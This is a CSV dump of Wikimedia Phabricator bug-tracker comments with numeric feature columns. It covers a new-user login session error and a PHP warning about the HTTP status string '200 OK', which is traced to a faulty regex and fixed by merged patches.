481255,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","Have there been any new reports of this happening? I'm pretty sure it's resolved now, please reopen if there are further issues.",,,1435193372,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-1,True,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.962962962962963,0.9629629629629629,"Have there been any new reports of this happening? I'm pretty sure it's resolved now, please reopen if there are further issues."
477555,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I hope this is solved now by the hotfix?,,,1434657794,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,I hope this is solved now by the hotfix?
476927,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I applied a hotfix for this issue only so it should be resolved until I can get a regular update done.,,,1434589444,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,I applied a hotfix for this issue only so it should be resolved until I can get a regular update done.
476464,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",https://secure.phabricator.com/D13239,,,1434554884,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
476459,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","I think this warrants UBN?

@greg and @mmodell -- I'llet you guys decide",,,1434554688,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.928571428571429,1.0,"I think this warrants UBN?
SCREEN_NAME andSCREEN_NAME -- I'llet you guys decide"
476457,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","This seems to be affecting users using LDAP credentials as well.  Effectively, no one can register and get going in Phab at this time AFAIK.",,,1434554574,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,0.9655172413793104,"This seems to be affecting users using LDAP credentials as well.  Effectively, no one can register and get going in Phab at this time AFAIK."
476448,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I removed @elee's account at their request and asked them to reregister w/ ldap account so we'll see how that goes,,,1434554355,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,14.0,5.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,4.545454545454546,0.9545454545454546,I removedSCREEN_NAME's account at their request and asked them to reregister w/ ldap account so we'll see how that goes
476138,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",user @Elee reported having the same problem directly to me on IRC.,,,1434523989,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,5.083333333333333,1.0,userSCREEN_NAME reported having the same problem directly to me on IRC.
474410,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I reset the sessions of @Damian_Yerrick so hopefully that resolves the issue for this particular user until we can get the update pulled on wednesday.,,,1434321239,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.88,0.92,I reset the sessions ofSCREEN_NAME so hopefully that resolves the issue for this particular user until we can get the update pulled on wednesday.
474088,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",Sounds like https://secure.phabricator.com/D13239 which will get fixed [[ https://www.mediawiki.org/wiki/Phabricator/Maintenance | next Wednesday 23:59 UTC ]] on Wikimedia Phabricator.,,,1434194400,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,33.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.9047619047619047,0.8571428571428571,Sounds like URL which will get fixed [[ URL | next Wednesday 23:59 UTC ]] on Wikimedia Phabricator.
473896,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",See https://www.mediawiki.org/wiki/Topic:Sj3iqq3ih39owig8,,,1434143646,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See URL
102028,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"From Fatalmonitor: `Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`

Unknown, really?",Medium,50.0,1433960365,1434250547.0,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-ykxb27mfezdexexjno32,task_description,resolved,True,c3,1,True,True,True,-4,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,"From Fatalmonitor: CODE

Unknown, really?"
474002,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"* https://gerrit.wikimedia.org/r/217527 (branch master): #mw1.26, #mw1.26wmf10
* https://gerrit.wikimedia.org/r/217583 (branch wmf/1.26wmf9): #mw1.26wmf9
",,,1434154628,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.6190476190476191,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf10
* GERRIT_URL (branch wmf/1.26wmf9): #mw1.26wmf9
"
473218,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217583 merged by jenkins-bot:
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[https://gerrit.wikimedia.org/r/217583]]",,,1434048046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.16,0.88,"Change 217583 merged by jenkins-bot:
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[GERRIT_URL]]"
473209,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217583 had a related patch set uploaded (by 20after4):
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[https://gerrit.wikimedia.org/r/217583]]
",,,1434047289,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,4.166666666666667,0.9,"Change 217583 had a related patch set uploaded (by 20after4):
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[GERRIT_URL]]
"
473207,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"I'd like to cherry pick this one to wmf9, it's spamming the logs",,,1434047269,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.25,0.9375,"I'd like to cherry pick this one to wmf9, it's spamming the logs"
473060,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217527 merged by jenkins-bot:
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[https://gerrit.wikimedia.org/r/217527]]",,,1434037926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.16,0.88,"Change 217527 merged by jenkins-bot:
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[GERRIT_URL]]"
473048,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217524 abandoned by BryanDavis:
Fix non-numeric HTTP status codes in AjaxResponse

Reason:
Krinkle has a better commit message and a more explicit conversion in Iafff9982bbbee893c13f891901dde88f998db7a6

[[https://gerrit.wikimedia.org/r/217524]]",,,1434037192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,8.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,8.0,5.205128205128205,0.8205128205128205,"Change 217524 abandoned by BryanDavis:
Fix non-numeric HTTP status codes in AjaxResponse

Reason:
Krinkle has a better commit message and a more explicit conversion in Iafff9982bbbee893c13f891901dde88f998db7a6

[[GERRIT_URL]]"
473042,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"The only occurrence of `200 OK` in MediaWiki core is:
```lang=php
class AjaxResponse {
..
		$this->mResponseCode = '200 OK';
..
		if ( $this->mResponseCode ) {
			$n = preg_replace( '/^ *(\d+)/', '\1', $this->mResponseCode );
			HttpStatus::header( $n );
..
}
```

Which turns out, is a bad regex. It matches any and all whitespace at the start and has a match group for the first sequence of digits. And replaces that with just the digits match. This is essentially `ltrim()`. It doesn't account for the content after the first match.
```
php -a
> echo preg_replace( '/^ *(\d+)/', '\1', '200 OK' );
200 OK
```
",,,1434036654,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,0.7647058823529411,"The only occurrence of CODE in MediaWiki core is:
``CODE`CODEltrim()CODE`CODE``
"
473041,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217527 had a related patch set uploaded (by Krinkle):
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[https://gerrit.wikimedia.org/r/217527]]
",,,1434036642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,4.133333333333334,0.9,"Change 217527 had a related patch set uploaded (by Krinkle):
AjaxResponse: Fix broken logic for extracting HTTP status codes

[[GERRIT_URL]]
"
473032,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217524 had a related patch set uploaded (by BryanDavis):
Fix non-numeric HTTP status code

[[https://gerrit.wikimedia.org/r/217524]]
",,,1434035704,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7037037037037037,0.8888888888888888,"Change 217524 had a related patch set uploaded (by BryanDavis):
Fix non-numeric HTTP status code

[[GERRIT_URL]]
"
473025,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Probably from `includes/AjaxResponse.php:89`

```
$this->mResponseCode = '200 OK';
```",,,1434035345,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.5555555555555556,"Probably from CODE

``CODE``"
472983,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"https://gerrit.wikimedia.org/r/#/c/215032/6/includes/libs/HttpStatus.php adds:
```
* @param int $code Status code
*/
public static function header( $code ) {
..
trigger_error( ""Unknown HTTP status code $code"", E_USER_WARNING );
```
This method takes an integer.

>>!@mmodell wrote
> From Fatalmonitor: `Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`

This suggests something is calling it with the string ""200 OK"".

The relevant commits added no new uses of http status codes. I've walked through it twice to confirm. I'm reasonably certain that this is an existing problem we were unable to detect before because there was no error handling, this kind of scenario was previously silently ignored.",,,1434034215,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,1.0,0.0,1.0,0.0,4.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,3.0,0.0,6.0,10.0,1.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,5.0,10.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,10.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.185567010309279,0.7731958762886598,"URL adds:
``CODE`CODEUnknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`

This suggests something is calling it with the string ""200 OK"".

